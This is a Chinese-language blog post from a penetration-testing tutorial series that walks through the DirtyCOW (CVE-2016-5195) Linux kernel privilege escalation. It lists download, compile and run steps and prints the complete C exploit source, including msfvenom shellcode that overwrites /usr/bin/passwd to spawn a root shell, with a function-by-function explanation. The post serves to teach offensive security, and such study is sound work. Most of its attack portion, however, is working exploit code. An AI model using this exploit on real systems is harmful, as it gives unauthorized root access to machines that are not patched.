iT邦幫忙

2021 iThome 鐵人賽

DAY 29
0
Security

資安這條路─系統化學習滲透測試系列 第 29

Day29 - Exploitation- Linux kernels 漏洞

  • 分享至 

  • xImage
  •  

Linux kernels 常有一些可以從一般使用者提權到 root 的漏洞,如 DirtyCOW (CVE-2016-5195) 和 CVE-2017-6074。

DirtyCOW CVE-2016-5195

Linux Kernel 2.6.22 < 3.9 (x86/x64) - 'Dirty COW /proc/self/mem' Race Condition Privilege Escalation (SUID Method)

漏洞原理
新增 SUID 權限的 passwd (binary) 使用 root 權限 提權
Linux 中有 passwd 指令,可以更改使用者的帳號密碼,一般的使用者,只能更新自己的密碼,透過 SUID 的權限,可以以 root 權限去修改任何的密碼。

攻擊流程

  1. 下載 Poc
    wget https://www.exploit-db.com/download/40616 -O cowroot.c
  2. 確認目標是 x86 還是 64 位元組,使用 vim 編輯 POC
    vim cowroot.c
  3. 編譯 poc
    gcc cowroot.c -o cowroot -pthread
  4. 確認編譯成功
    ls -l cowroot
  5. 執行
    ./cowroot
  6. 確認提權
    id

解析poc
註解中提到如何編譯該檔案,需要使用 gcc 編譯,並且透過 -pthread 參數進行 POSIX thread 編譯。

POSIX thread 是可以透過程式進行多執行緒,而 <pthread.h> 則是利用 C 語言定義操作執行緒的 API。

如果沒有加上 -pthread 則會無法編譯,因為該程式有引用 <pthread.h>

/*
*
* EDB-Note: After getting a shell, doing "echo 0 > /proc/sys/vm/dirty_writeback_centisecs" may make the system more stable.
*
* (un)comment correct payload first (x86 or x64)!
* 
* $ gcc cowroot.c -o cowroot -pthread
* $ ./cowroot
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* Size of binary: 57048
* Racing, this may take a while..
* /usr/bin/passwd is overwritten
* Popping root shell.
* Don't forget to restore /tmp/bak
* thread stopped
* thread stopped
* root@box:/root/cow# id
* uid=0(root) gid=1000(foo) groups=1000(foo)
*/

宣告所需的函式庫,與需要的參數內容。

#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>

void *map;
int f;
int stop = 0;
struct stat st;
char *name;
pthread_t pth1,pth2,pth3;

該弱點利用 binary /usr/bin/passwd 進行提權。

// change if no permissions to read
char suid_binary[] = "/usr/bin/passwd";

確認目標是 x86 還是 64 位元組,使用如果使用 64 位元則是透過第一個 sc[] 若使用 x86 則是要取消註解,這個字串陣列的內容,其實可以參考註解。

$ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i

$ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i

利用 msfvenom 產生後門, 參數介紹如下:

-p 指定平台
CMD 執行指定的 binary
PrependSetuid=True 產生的 shellcode 會有 SUID 的權限
-f 輸出檔案格式

xxd 用來查看 binary 的指令,其中 -i 代表輸出陣列。

/*
* $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
*/ 
unsigned char sc[] = {
  0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
  0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
  0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
  0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
  0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,
  0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
};
unsigned int sc_len = 177;

/*
* $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
unsigned char sc[] = {
  0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00,
  0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
  0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,
  0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,
  0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00,
  0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53,
  0x89, 0xe1, 0xcd, 0x80
};
unsigned int sc_len = 136;
*/
  • madviseThread 釋放對應的虛擬記憶體
  • madvise 將自己主動控制的記憶體行為,告知作業系統的 kernel
void *madviseThread(void *arg)
{
    char *str;
    str=(char*)arg;
    int i,c=0;
    for(i=0;i<1000000 && !stop;i++) {
        c+=madvise(map,100,MADV_DONTNEED);
    }
    printf("thread stopped\n");
}
  • procselfmemThread 主要針對目前的執行虛擬記憶體檔案進行寫入
  • /proc/self/mem 指向目前執行緒的虛擬記憶體位置的檔案,目前的執行緒可以針對這個檔案進行讀寫(直接讀寫虛擬記憶體),且無視記憶體對應的權限設定
  • write 寫入檔案
  • lseek 透過指定的偏移量,修改檔案的 point
void *procselfmemThread(void *arg)
{
    char *str;
    str=(char*)arg;
    int f=open("/proc/self/mem",O_RDWR);
    int i,c=0;
    for(i=0;i<1000000 && !stop;i++) {
        lseek(f,map,SEEK_SET);
        c+=write(f, str, sc_len);
    }
    printf("thread stopped\n");
}
void *waitForWrite(void *arg) {
    char buf[sc_len];

    for(;;) {
        FILE *fp = fopen(suid_binary, "rb");

        fread(buf, sc_len, 1, fp);

        if(memcmp(buf, sc, sc_len) == 0) {
            printf("%s is overwritten\n", suid_binary);
            break;
        }

        fclose(fp);
        sleep(1);
    }

    stop = 1;

    printf("Popping root shell.\n");
    printf("Don't forget to restore /tmp/bak\n");

    system(suid_binary);
}
  • fstat 函式代表可以將檔案(f)的狀態複製到 &st 所指的結構裡面,也就是取得檔案(f)的狀態。
  • mmap 可以將已經開啟的檔案對應到虛擬記憶體中,並且透過修改虛擬記憶體,實際上是修改檔案。
    • PROT_READ 對應的虛擬記憶體可被讀取
    • MAP_PRIVATE 對應的虛擬記憶體透過複製的方式(copy-on-write),不會改到原本的檔案
  • pthread_join 會等待其他的執行緒結束
    main 的流程:開啟要修改的檔案( /usr/bin/passwd),透過讀取記憶體,以複製的方式對應的記憶體中。並且開啟兩個執行緒,procselfmemThread該執行緒不停針對該記憶體進行寫入,而madviseThread不停地針對該記憶體進行釋放。
int main(int argc,char *argv[]) {
    char *backup;

    printf("DirtyCow root privilege escalation\n");
    printf("Backing up %s.. to /tmp/bak\n", suid_binary);

    asprintf(&backup, "cp %s /tmp/bak", suid_binary);
    system(backup);

    f = open(suid_binary,O_RDONLY);
    fstat(f,&st);

    printf("Size of binary: %d\n", st.st_size);

    char payload[st.st_size];
    memset(payload, 0x90, st.st_size);
    memcpy(payload, sc, sc_len+1);

    map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);

    printf("Racing, this may take a while..\n");

    pthread_create(&pth1, NULL, &madviseThread, suid_binary);
    pthread_create(&pth2, NULL, &procselfmemThread, payload);
    pthread_create(&pth3, NULL, &waitForWrite, NULL);

    pthread_join(pth3, NULL);

    return 0;
}

Linux kernal 處理記憶體的功能處理寫入記憶體,以複製的方式(copy-on-write,COW) 導致 競爭條件(Race Condition),因此惡意的攻擊者可以利用此漏洞,欺騙系統去修改可以讀取的記憶體空間並且執行,導致低權限的使用者可以利用此漏洞,讀取只有讀取的對應虛擬記憶體進行寫入。

Race Condition 競爭條件:代表系統的執行結果,仰賴不能控制的事件的先後順序,如果這些不被控制的事情,沒有按造原來所想像的順序執行,則會產生 bug。

Linux 的虛擬文件系統 Virtual File System,將所有的資源都對應成檔案,常見的範例如下:

路徑 說明
/proc/net/arp 內部網路機器的資訊
/proc/net/tcp tcp 資訊
/proc/cpuinfo cpu 資訊
/proc/version 系统版本資訊
/proc/pid/cmdline 開始執行緒的指令
/proc/pid/cwd 目前執行緒工作的資料夾連結
/proc/pid/environ 目前執行緒環境變數的列表
/proc/pid/exe 目前執行緒執行的 process 連結
/proc/pid/fd/ 目前執行緒打開的每個檔案的連結
/proc/pid/stat 目前執行緒的狀態
/proc/pid/statm 目前執行緒的記憶體使用資訊
/proc/self/maps 目前執行緒虛擬記憶體載入的檔案和函式庫
/proc/self/mem 指向目前執行緒的虛擬記憶體位置的檔案,目前的執行緒可以針對這個檔案進行讀寫,直接讀寫虛擬記憶體

透過 /proc/self/maps 可以知道目前虛擬記憶體區域(virtual memory areas,載入的檔案和函式庫),工具 gdb 的指令 vmmap 也可以看到。每一個正在執行的 process 都有自己的虛擬 address,也會對應到物理的記憶體中。

ref:https://xuanxuanblingbling.github.io/ctf/pwn/2019/11/18/race/


上一篇
Day28 - Linux 編譯 POC/exploit
下一篇
Day30 - Windows 提權(1)-Unquoted Service Paths、修改服務提權
系列文
資安這條路─系統化學習滲透測試37
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言